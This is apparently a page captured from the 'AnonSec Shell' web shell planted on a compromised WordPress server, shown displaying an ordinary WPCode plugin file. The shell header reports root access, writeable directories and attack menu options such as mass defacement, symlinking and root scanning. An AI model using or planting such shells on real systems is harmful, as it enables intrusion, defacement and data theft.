AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.15.182.138   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/insert-headers-and-footers/includes/lite/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/insert-headers-and-footers/includes/lite/admin/admin-scripts.php
<?php
/**
 * Load lite-specific scripts here.
 *
 * @package WPCode
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_action( 'admin_enqueue_scripts', 'wpcode_admin_scripts_global_lite' );
add_action( 'admin_head', 'wpcode_listen_for_deploy_message' );

/**
 * Load version-specific global scripts.
 *
 * @return void
 */
function wpcode_admin_scripts_global_lite() {
	// Don't load global admin scripts if headers & footers mode is enabled.
	if ( wpcode()->settings->get_option( 'headers_footers_mode' ) ) {
		return;
	}
	wpcode_admin_scripts_global();
}

/**
 * This is loaded after the plugin is activated and if the installation process was initiated
 * from the WPCode Library site it will redirect the user to the appropriate page to continue
 * that process.
 *
 * @return void
 */
function wpcode_listen_for_deploy_message() {
	// Load this only in the plugins list.
	$screen  = get_current_screen();
	$screens = array(
		'plugins',
		'plugin-install',
	);
	if ( ! isset( $screen->id ) || ! in_array( $screen->id, $screens, true ) ) {
		return;
	}
	$click_page = add_query_arg(
		array(
			'page' => 'wpcode-click',
		),
		admin_url( 'admin.php' )
	)
	?>
	<script>
		if ( window.opener ) {
			window.opener.postMessage(
				'wpcode-plugin-installed',
				'<?php echo esc_url( wpcode()->library_auth->library_url ); ?>'
			);
		}
		window.addEventListener(
			'message',
			( event ) => {
				if ( !event.isTrusted || '<?php echo esc_url( wpcode()->library_auth->library_url ); ?>' !== event.origin || 'wpcode-show-connect' !== event.data ) {
					return;
				}
				window.location.href = '<?php echo esc_url( $click_page ); ?>&message=wpcode-deploy';
			},
			false
		);
	</script>
	<?php
}

Anon7 - 2022
AnonSec Team